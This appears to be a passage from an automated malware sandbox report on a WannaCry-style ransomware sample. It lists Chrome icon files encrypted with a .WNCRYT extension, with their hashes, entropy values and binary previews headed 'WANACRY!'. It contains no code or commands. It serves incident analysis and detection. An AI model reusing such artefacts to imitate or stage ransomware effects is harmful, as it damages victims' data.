                                                                                                                                                                              Size (bytes):1496
                                                                                                                                                                              Entropy (8bit):7.8866282116405895
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkzTTMY+0OzjfEJ6A2JEWuFrrfkkJTP09PUpJXuLI21rQP+dFO1J4:bkjOvEQhuVfJDWsXXT2VCP1J4
                                                                                                                                                                              MD5:A358D20F78E612E3E3B0C3107BD8AC5F
                                                                                                                                                                              SHA1:6E3080BA6ED1E4BA9EA739799A1D3B9475CCBEEA
                                                                                                                                                                              SHA-256:F0429F3A47012B19ED3535FFBC04AD0729D4C53F67FB95AF0351D6255DF3DA00
                                                                                                                                                                              SHA-512:3943A850AFA5E0590ADCAED76ACB81F25B1CD0DECEB77D2320E3EAB50878370F393881AF20551D0B72193A6C97F7030DF00B27766EBD50E522D6F0930801DDD8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....sn...B.3w.U....q....1g.\.................BI.w.........oE....p{wvh.GH...F0.<.."x..%E....6#7..R..O_..".j{..Gk....3.S.h.b.8i...n*+...i.Ozu2..lY..B..R'.F/*.....s..4....;....G........0.....v.1.b_..`.Y...KB..r..b.N.J.... .........0.".0.....<@.`sW3y...............)|..ZS..Kh.Mx.....v!>.p'.z..'..W........Kg.nh.M........a..&1.G.s.r(.....'..DoTr?c....C..c.)Ya..UDQ. &......E.."..,..!...d.HL.@(..-u....,ug...).$...L*.^....i.e...J..R....}...Rz~K.=h....6'.OS.~C.B..3.+.......yg..~s.U..C..t..L.8...0.<....,O.T.!w6.-.y.Wh.....`uA...^.6...zAg. F[.. ..WQ...7...]._....a............/.V..E.......k.A...`.y.K.VR Z..Wh.Qp..p.4:..T).'.#.:...a...;[.@6;.-=..r.F....3..=.....=&y.!Q.5......!.5y.y.....~...y.3......i^~T^..`q2.N]k.....Q..Y.X{.uC....~.V..F7........q...u.E.+.i.P........O.s'"..n..AEA.....0&:....a.x.,.V......3.\g..b&}.u..G.19.....U...X...%cT._..7...x..s..f.j+N..}..Qv'm.1:Fd.Q...[D@rj@J..1'a....bBS{o.......m..bH..W.8.^....%....k.,gv......R.H..&..<..O.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\256.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4328
                                                                                                                                                                              Entropy (8bit):7.955581386697862
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oCYjTWI6x2Y51CMxHl2MbpicleDu1v3e06MdWbmXm9XQ9l4Q:Zz52kCmvleDu1v3nWbmLv
                                                                                                                                                                              MD5:E07F7B658D382C50F882D8149A1C7F0C
                                                                                                                                                                              SHA1:6F5796A09B730F9DE74FBF4097BCDDB54DAB1814
                                                                                                                                                                              SHA-256:F73E49F6AFBCE631FCB678FFD6B4187C0846BEA76B80FF21ED3289853697ABA0
                                                                                                                                                                              SHA-512:41D550D362E1CFFF90167350BACFB3E248A3DE3531F99EC128688488900A79D2C998D41A8B3329E2C08C77356D5EA98E303CBD130278C7C224E4B865F62E2220
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....(.. ......q.i.......+.g.?#t..x.........[.&.....KL.BR...GO..t7...JHw.rG ...y......"....k./...R....>..8>.d#N.b...%szl~.@!..T...p.9.y...Y...$..S...w...k...?.A".Rh{..t...52..W.....e.@rx....X.....a.!..L...%)..7& ...-........%.@.........n.2.e..t^............._..P.:Fd.(.i...B../.i..P[.i=..G.*0..}B..l...........{...Z.'=..z.FziT._(R.2.4^...I..F.#".JM.u./.*_nx.....D..hd..=.2Y.^..|rB.f}ph...S.p....?.i.}k...CR..W7.R..I......q..4)..W.C5.\.Z....?.........Z.t.....*..;...df-@p.V...d|&.Ys....z...an.tM.....B..`9.C.z'm...@Zw.a.N..8....=..v.h....Ys.v..|lR2LS..l>.P3@.6....:q.{..bf.......J...qsC....YK.A:TXM....w..}.v0....5+C......;-.z..i6..g........pV...f ...i..F(V#..+.,...[1.Z-*.(.y$.P6.3......F.1...t..,...8D.i...j.t.N...D.aX..v]..?...R..>..)\.SuX.+..... .Yp..y....*.o..C.l.,1."QJ.......Gb7...in4...}.-.........].....(...B..x...R`..d..:.@.!U4&.r.F...TC77$K.........H. ..G....G....>QP..~zt88..).....nI..!.S...S.......)..g....z...6..q.H.+<.+7:....y...

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\32.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1176
                                                                                                                                                                              Entropy (8bit):7.8322392391717734
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkPscHDr42socm/fIr7yHv3memHG/yYhW3OO+hysPbXpnJuSK:bkPscHYfoIPAvWXYhVvyCbDut
                                                                                                                                                                              MD5:0847C50075F262BDE9CF2A01316DA69A
                                                                                                                                                                              SHA1:BB83418C80295A79B168F3E6D969F2D5F7B60D45
                                                                                                                                                                              SHA-256:2BA03B618C5F63F72307E2CC35A0C31F455460B0FE30D861340B586B1044FA81
                                                                                                                                                                              SHA-512:2718DD20A58D112BAB226381C5ABDE5BDE1AC9F7BE55F2F5FC8570AF1EDAD9A3E6A6862DA5E752B971EE4B842B79C1E81304E550B1D7A3DB25EF101C04C24386
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....}........5s...iS]IU.n....SG.r6...@.:...........v....wk3...s..e.Nv.u.\.(7.y&.].%#Yc..,Q]0^..MSY..D..?...L..3.30.Em.!.DC.....D..P...2.Pa.h.;[...,.....7..\id..(V..`3..h.PK.p..gb....^..R..C{...$.~a.C..F.I....:9..8...R....G.2F.{.|y...T.....2...h.3.>....z.......U.A.....[....%6.c.fw...L>.^;G.a....7&..@....~.q.....<I...........$...p.x.G.m.. ..wg.<].A}...*..{vZ..l..v~..dm.../wh+t...V...>...8...LE..M..X.m..v:..Yf,.....n.c7(...M...4i.9d.b..S.)P..ZF.s.?HR.5.I..VKr.Q..:1.H..<p.7...3pj.$.Z.P..{MNY...r..3...$.}.D..7;KN....,..r/.e.<..../.w%.....6.\..-b..M..(c......0..=.N.....K....?...5...p........qU.8L.M*DJ.jC...(m..0.s....1-.%<....K5...&yt..?..e..F...-....Krr.......J3y...5.]S.0(g..:...CR.L.7.+.....R....0....g.WL..z..kR..........Mt.x.....E...!.t.B.a.....i`.SP.1Xa.Q..*..WA./......H."...?A*.q.....8..n7....'..l..x...-.k..0.a.zO.".M.....M.4.i. .E.p....#A..Z..n...O.ia.r...).3P.ULj..a..HO.Pj...Y6D./.k.....y.k.C...K...nX.._.EI.c..G...)..<>q....

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\48.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1432
                                                                                                                                                                              Entropy (8bit):7.860439959736749
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkI9tTnLKHyc1vCD3p6oPdIAkErtpjrpQmis0Gx8zP8R8+ZoEvxDjjCFJIfKvFh:bk6tTnO8D3M8rhZxNzis0GxSEZBvxzCd
                                                                                                                                                                              MD5:2B5FF57435CDA6A9CA267C3F7EF564EB
                                                                                                                                                                              SHA1:70E8A7224372420062215E6A0FF82A0C0F720F67
                                                                                                                                                                              SHA-256:C1C414FE2ED9074B14DF60931E820BF3FD3A5AD0D267B0F491CE5B67613D6E95
                                                                                                                                                                              SHA-512:B76E645608E8A32334EC4334BAA67F275962485C344EA43AEF746D8799BF0970A1B1CB60EF4207442690501D16666690DB532C6F89D297199436AE3D97FC2509
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....E..).M.0..r..0h.n.9.?.8O.q...!;..aj.TY#..2:...5..e|*n.QVqQ\.2..@..H...3Q5........W.z.=..xP.Ae#0.1/....7...io/A......4.H.~]_.. _..Q.U.JR%..A..A.....|....O9...9..i..F.......x.q..f...^H.}..*k.389L.^O...S...........D......w.....>k.F. Wf.b.m<.T....|r.R....|..........c.[.~..&.f.u..ib.Q.o...T/yR..*,.~f...7KP..3+4...W.i.Z......h.J.....V-)[.a.F...4...q2v}%p....y2.y......<...."@- .:.*l.t..?.....L.~......du.s//..\bM.GHb.x.Q;...3.[........w2.. .y........`.7.>.-.t..>@...:...;8n..!@..[..1M..-k.m.t...g.G...7..n..Z#.!....a....#...A.V.".~l{.'..;.QxN....~..f.g{.8.L.|..m-t#"......Y.G.c........8i=O..3......'r(7e.Jj.;.t...3.a...D..j).............e..l....M.=.g<K.<...0....6..!..W..Kl......g.....z..P..4......c.w.0.....*....3r...d.8 .t..F#.v.^....[z..l...(.(q...a..J...i(M...-.z.;....(..3.....+.jNI..@..WsLj.zWj<...>.b..2.@$..h..~KO&..<./].n...kz.Q..K..!....]....b0@(4@.Y.....+.!..Ub%..t{.>..;...t,%...`[..{.....F...F........S...~...`v..B....2#I#.}/..56.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\64.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1592
                                                                                                                                                                              Entropy (8bit):7.865113160861962
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bk2FHHeNicfPFwP7GHDuabzijy4f/fXbDZgZn+:oy+Ni8WjGaabzcyIX2Zn+
                                                                                                                                                                              MD5:F4DB7BE993C4DAE1F51EA369C8FE3513
                                                                                                                                                                              SHA1:7DB53FE9C1C4A0A36579E9EC93B05D009A890639
                                                                                                                                                                              SHA-256:FA9B8FE24D006730A6AEAAF59ECFA7DC92FBF64BB0784B64C37806D39B216E39
                                                                                                                                                                              SHA-512:2CD78005AB7579AF88C95DF01B8529F6C3E51541DDD485A2AFBE6F312748690D65479B050BA4AA45474126AB38FB6A8DDF70A8B04F5FFACFE2787B422C5AA5B0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........H.X.....(._y.........+v=.....S..x..$S...>"NM.>....C..-P-.q.w.$....*...}.%....Q!..g.9.8..h.@f<....K._.h........41.p.......6.i.9..W...a..N..X8=..0....._dQn..\X..Stv........ky5.(....d.H.'..{_. T.f^/I..+...z..n.I.?.hpa}m....v....5...{G...o..................;kb'..... . ,-"...Q.\.....M.{..8.....`!b.5R.c.].........e.u..Q.hf...L......T.wV...0u.../........j.t.........X......*t.nf61.ZY..\>&..,.|H.9......1...S....h.\t.=.p'%..... ....I+.O.`'.i....O...w.l.k.)d.6.w...2U.C(......{....0WXu....v..]%N.V.k.g.yQ....E.\.!>.....#m.-t.h..O.|...P.e.......x..9.&..m.P.....-JQ..[..@U...+...`TN..W.#o..S.w.yY.V.....G..o....]Z..*...1...!i%....5....\....Y..<.nwa<...2........H.D...ApmG..._...!.$.;8T...D..../..M5.00...._.....U.&..]..CfV........5A....J.$.+.=^Eck(....P`$V...L......L..y.<.p....MfI3M...~3.z=.a]_?q...R+.%>xO.y0...............kX..J....0..{.:(ya..h.........7.'..G(..%.C.T[.....'...0.@/=.F=..z.#..X..ap0...{.B..EA.A....~t..a.a.h$<.......S$.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\96.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1800
                                                                                                                                                                              Entropy (8bit):7.894844683212611
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bk2p83niRJXFVpi2x4ZVosiQcJgGIDmNMGKl:o2OXwJVVpiXZVovLvIDTl
                                                                                                                                                                              MD5:29879442349B50308902BFF99D6B3895
                                                                                                                                                                              SHA1:726CB1FDF5A798D8B23ACA7E12430B21426C132B
                                                                                                                                                                              SHA-256:BBE6510687CF835FBC08E9A2E884A179364A7D8DE926E2F7039C1BFB651841DF
                                                                                                                                                                              SHA-512:4E006B4E4C370F3BDE374D3ED350697A7262201BF13005112EC02047526FBBD19F38FBCFC08E64F5F42972C5FED768E21A17A52B20A78883DDD09D059DF78326
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....=..b.....{y.z...Z...tR..Q.(...Sj.0..k......A...q.~F...<.......>..-.I.5...?..C.2..Y.......p.r5.!...Y.Fk?j....=..j..T.=^..$2<.....[....=. .t...@_E.[{..H.g...s&.j.....Zm.D2+..`db..9wK...L.g.@.<.J....V2.._O]G-M.....y..5.W.6.d..........f..o5m.M...[..............p$.........|..w..=.JYV.H....~..B.x%.....7].li..|.....c\O......>R..>..Gr..u}.....o..V(...^..n%V.[...d...u=.T.....hlW....y...x..a.WW...f..z.$....8........W^....a....D...RU.s.l+..Z=.....9.t.6i..<y...Q1ly..O.+.....@.S...\......e.......n.R.R..r..X....me..A(r.<..'..t`u......4....Q/..~.....}....P..WHX....y$.6......&6..+..N.kZ*...q.........nm9K..l..vK..m.m.D..T....w...l. ...[u..VOv.xMlm.V..Y.L...*;.+p....V......I.W..u0g..I.Es..2..Z...S. |3..7|.g.....)i.+#..`..%..d...~...p....O.ds..mU+2..|...B..dk........}.om[D./....G).......n.s..C......................=|..(E.*....@.S.../+z...n..PI..*...Z.!3.8.......H.[[...^..}...H.x_%..#ly..@.{k...w......4....9......e...~/.sd7n...J-.?l...a.@...5 s.VKQ

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\128.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2296
                                                                                                                                                                              Entropy (8bit):7.909224639017078
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkm+ifLhQrFlXzDAubV8E91rs7kKVA2922Sy:omTGrTTZx9hNw22Sy
                                                                                                                                                                              MD5:04B64FBCCDE90D7E0EAB3C4CDA184C1A
                                                                                                                                                                              SHA1:2673AC7C32C4FC01B022AF95B733D6233ED5C4D3
                                                                                                                                                                              SHA-256:C6FE7C0C5BEEE64F0004468CB448FDCCFA8B9FDE249748DB1F9DCF5B6A8B60A8
                                                                                                                                                                              SHA-512:4D1F2DF2934602D06BF73D77DD25D17CCA35F8C441904928F7C6CA90B5B83A6DE78C6452C02C6747BE506C347589CBD81143BBF0545C310D0F1B03AAF3BAF047
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......d].0..5.VI.".. ..H.R;hE.X..8.....-..O'....+..N..X.3R..........1x.7...+.g\....!..(...1...)3..Wb.......43.=c.l...h..<:...I..S.D..U.<....=-^..].:.\Z..K.xE.*.k....yWQ.z.>@t..gw....V..d..N.......W...iY.IJJ.\.;...3..&%..5.-(._6..W.N1vo{..)y............wg..~....hK.p....`.VreufS....:{.....RU...hY.!.]....#..Z.Z3=~.[.'...#......&X"'...|U}..1.+.9..k.&b........j........U..!G8...{...t......}./.k..Y..a. 7.7.....Rn.....d.2&:LOnF!.....&Z.......9..:...P.8.^.=i.~...z)...U.,.....j..._y.O.Z....6..d..l..(..>.........H../w..-*....HI.)aA..|q..2.SK7.E.........*.q]2.z..t.._..!...P...."...g.^..dt..Gb.... .xV.8./.)Q.3-d-.B.N....O8...0.`.#G=d.X.r@......}M.k...d... ...(..:...DP._'w..w.Mo&}".......)&v.z..s..J.AL{b....i.(...V.9AMShL...b..|.*8....F....>.&..ai.;k.......g...i..F.g.&[d\.....B..h.H^.^Y......._..~|X.).l.z.e\R.D..'K.^B..Vo.G.&P..pt.W.>.<A..,2..V.{...#....8.#I*b.e.e'..3...`.Y.N..a.....'.gW':IK$.\..%.....T.........LO.o....1.(T*E.pR...(...b#.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\192.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1528
                                                                                                                                                                              Entropy (8bit):7.852497298938992
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkcVBlkBDMffyPbzWkS9pKWWsmBxxEwPNKZWMAvWiYSNW2qPQrTD46VEbNFQobGp:bkc/lkxMfm/SLKWWsmbuwPNuavWn3zxs
                                                                                                                                                                              MD5:4E452D73ACED390BD27D072E00E48460
                                                                                                                                                                              SHA1:DAAA561C719C9DD0FB8C74B0DC2B1F6A26818B8E
                                                                                                                                                                              SHA-256:B7123685DB7AFF71D225BC17C4834BA65EFE871B7C3B5A54E6C06E98729D1D19
                                                                                                                                                                              SHA-512:7DA47CA311A6549022C49F500EB2E060F58FF7BB0198F4731E8F41C8E8881B6C48419C43C54189B1F643BAB6202A1993AFCBC078BB4850D25FA650F4C96F095A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....50.6...".\>.E......4.&..#..n]..A........I.Co...+D.x.h#..x.[....M.. ....Z..Qii`<..|.X....j6B......h8.W............w!.\]...!..u...)h...z....Ay....ro..DCP.~)%.Pfef.}..f....X....6..M.>..#cw...../.IpO-.H........w..>..T..<.}d.J.,h0..sE.$-..y%W..............8@.W5..VOY....... .)x.zp.A...Uw<xI.)Li8<W..E.........H..0@.....#..{C.<..l..cT..i.......8.."..L.......i.......>..P...]..=..z#yp.B.[6......B.....ex..#......#./E..\..)...~U.z2#.&....6..p@('..j.7..cc7.d......+.+Z.....]...2^m....[}....'z.{O......fpm.d..h.UC.....v..d'.@.V....(...$.i/..y.......T.>..Q.v.u:.......62....c..Nf..b#.,#RF.{..MS5..1mN....D..D.+.....y6~+j.i[$p. e...v9...fNo..].,.j......_..5MpN....E...t.~.MD.#H7.jru.R6.".>......Y.8T..J.ZEQ..v*...... q....O.d......../....L=..<.szCI..U.....z.C...#C.....7.....v^...u....>.?["Mhf+..*..D..g...T.........2.}......h.E0.K..`...?..JT.......W.%..U%.q....9.gf..Z ..SQ...4#yb.1..)..4.-..}......U@..I+.)N...(.. (.'|[.(*.7l2../.....l...$.:.t..

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\256.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4856
                                                                                                                                                                              Entropy (8bit):7.959013199149936
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:ok/aOTpmDRE9KVX971EMpNLOhoUgLqLRGQ0sQj3Kc5APfxC+9qP2kEwFhQ50Y4Du:uZRhVN7m2TUwqLRv0sOftjFhQJ
                                                                                                                                                                              MD5:FBC10DBFD8B8A8416868274E2B20CC75
                                                                                                                                                                              SHA1:1BD006D1A3DA3989F0BEA2331C54F85C98732839
                                                                                                                                                                              SHA-256:BB8D82AFEB97E3B2E94F18D2E7A08E8D244958FBCA3F671AA5435AE8EE6A3224
                                                                                                                                                                              SHA-512:6F223473A1D9D30742E8FADC1B0ECF51EF1860A1DAD46A7C22A27117B9DFDF0CE672F95DDB817FA7BBB51F01AF44F40E038DC97C276EBD098D1CEFBCFD153500
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....RHN..=...... ...j..L..w...........5...$h.........d..p.......J.wF.G.y.Y.9..y.I.I]..........Xq.C..._...s..Ig..>.,....&Bc.`..."3..M.4R.........R....!..F..lb.l.T.U-...3...z2:..!DE.\...C..+x.....".s.s^*..!.Y.h.Us,..H.=.5.....j.7...Y.L...K....B............'...9x.3R..7.$..C&.*..(.....s...1.^.tq..p.........7...I..p..v.p:.......T....*.'jB.wR..\..z<H.f..WG-]A.1......^...'.Dv.....Z...<..G....|}.-}....n.....5..xc..X.. .V.`.^J.f..p./*....."....,./..5Oa.....Po+....c,,...n.......y-G6).....S.".:....D;.};.\Ji..k....T.S,B.......z>!.<.M...u..7..FKC..>....9T.....}CFD9....f....h8.....F.I....y.0bV!".e.[...../..3dJ1..&}.+.R..3I..P.^.......G.h?5..N-.p..XV.......N.h.L.7..#a.......".W'+9e#H.e.....$.p$K...;Za...q....x.o.'[S....Eh5.O.........6xK.$}........E.Z...........n........@.2|.c.....W'2.....U...+.&....+.......be.....%.:..........@ea..ks.....:..!4)..B...5.c..&>. ..Xk..FQ...kI.C3.n...g......Z.....>.y...SU.P.BdQ..6.JF[.... U]}f..DS@.D$]W.".

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\32.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1208
                                                                                                                                                                              Entropy (8bit):7.844422220930479
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkMANSsNPg5aGMnhmD83p/soQBKqiG/uGg8kGG1nvj6pYRNe2nNlr68fBKj6jB2:bkMAfNPtGMnYD83p/sXBx9/u8kGGFvYr
                                                                                                                                                                              MD5:7B1AE4AFAAF0F87386DB19FFEC7896CC
                                                                                                                                                                              SHA1:B479A6C6ECF7EB1B4098A0908455DFE6AB3A97F1
                                                                                                                                                                              SHA-256:9FAE84FBA383A12348DF24A3EF8769771EAF52178A83111015B4E1C9C3343285
                                                                                                                                                                              SHA-512:A7306A947C33123444EDFBE554C36B38D846F36D322651E5E080D279973EDC2B6CA9D3237154CCA6FBFD820EE090810A92C60039DF3EB76224104399C19A84DF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.........*.X.y8qI..@+.8m.[W......).V..8=..2...).$...7.vr..y.._V..cM`..9.!..~......A.q.e....*.....wZ.d...B..w}m...,b.-.v....P.E.x..i.....Ry.(M4y...vg.n.{S.d.....L...Wk9.eOt.f..|.....Fn..K`....G6.i..m....(E.a"}_.(.K....j..m<..9Tw.u.7m..d.w..g....................%..@.....6......?V.OD.Q..g....&3..F/>.'._K.g..Qd...8.:{.p.6 !Mt.....f.......T/..|....{..{rs.#.qT..P.v...'..H........f7pIM..C..r..S.^...g{...h...Y...0.........@H..u*........v.p'.Y.l..T!.ru.....Z/.A..J.........m.E.M....2.m...(.;..(..K.....2b_ >....R0..K....e.D|..Jr=.X..n...W{-eL7.HYU`..ZZs.kpRa..*.....C.Lo.o/..=.Y.....Z.5..7.b....z...A.{=NC.....;_.9.m..^A.............y....W[....=9...N.......(.R.I.E...?M...".cH.....-..?pg\#x..n...uM.O...w %...oI...5|?..,K7y....B?^=.dX..$.......".}....?!..D..Q.o.\O$.}D.E.;.}.h$%3....N....x-{...K..]6..D..Q.fF........V.......yk..)O.....r.+.bl.....H..Z..;DL.U.%.I.O-.......q.k..C..-.v).'...U.T............=.p.S.;x..7,O...:mZ.....&..G..I..oU1f"..

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\48.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1368
                                                                                                                                                                              Entropy (8bit):7.844639612642397
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkuE/TUC3jpIYCgKGZ2mXXf2eTfVUiZ/Zmqt80IZY2SaHYMNPZxJFqVikldaOJ0+:bkuEbUC3jpIy2mXX+udUGUHtPZxL07lJ
                                                                                                                                                                              MD5:DB72066D78A95A509573D33575BAB5ED
                                                                                                                                                                              SHA1:FFC30F94E4B3A14041B7AC8B059104CB04851C3D
                                                                                                                                                                              SHA-256:B6D6BD32E9786A2BD9A79CF0D476B5A3716A491B9241A18393C435A1D720C4BA
                                                                                                                                                                              SHA-512:2353E6B71630793B2D3AE799E362DC82E6C36ABD1BCD89708048FF09A339A7D6D09FDEFDF76B0AEAD34A61454E8787D40327391BC9FFB9B4D7FF3887C41F6F96
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....&...#g......9l.*1....b...v..:..%.b...\q.1(...d.....y...S]...6.............lH..Jv.}.YH..?...o...+........M...T.=..Z...&.,N.t.V..Vy.....29..yu_Oy.;bg.&...<..a....i.9O.I....7];Vt..B.Q Y.fb`.J].Q7.....x?...a).\...~.O]E..........t..u..F.@t..5E.>F."....@.......k%0J.o.\.?..2....w..0rd>7...&.<..g..E.j N..2=.9.F^.....Ze..@'.....yV..6..........t.\.fq.|.Tq...>..<i...Kmj..&.F.......=.....K..M......$.. ..qc..g..:rL3.6...K..........P^.6.i.?.f.Y.I)._....R..6..:..+.B\.....4...W&.7.......!6.......H...OK&W=x...."vEe..9T{....+.E..B...s.R...pO.r#.2...>.....`.c.L..&....S<.....&.....L.O.M?.b.h+..yj`.....>m.........H.....}Q?.e."..d.M.y......Tt&3.]G.+Z.P...`.eD.....Kt.....K.m..>.rEj....jt...GEa.. ......C.C..d.....".......3.nt..f...?.Xu....E.A...Y...e]....UY....9...w.].ngl.(.S$GP>.....w.R..X...KC..*F...7..|<.D0.+.)L?.s.,s!.vLf...h.. .j>.t.0d.J..........:V...M.....Z'..\Q$=..|.......QM>V~..+........".V{wAu..0.C..4....@B..g....:*..6.&./..:o..V....]..=/....

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\64.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1512
                                                                                                                                                                              Entropy (8bit):7.87432507201005
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkpBlAmD2GPy6l0fK/U0Fg1evtUpMIg3iD/Pl+ZclSTUDSu4kF5Xzy9b0/3LKHyB:bk/iN6cK/fpvtUrg0lwcIwGuLFFWQjKa
                                                                                                                                                                              MD5:1A6A8FB34E1DC358C5FD14755DAED7E1
                                                                                                                                                                              SHA1:FD86B248A20383E70222CF231C61320EB35D977D
                                                                                                                                                                              SHA-256:921E4082A330CC6488F27B3F8E2D7759A01C4ADECE489A6961AC3713E0FDEF85
                                                                                                                                                                              SHA-512:169DB0B923129B6A854F3299E5764B32E70F772039721758E4148C1E151294A62323F589A3BD38310B0B9F8AA9059E9D79DC35A9C61D89386FB50B8AA2FD63A4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
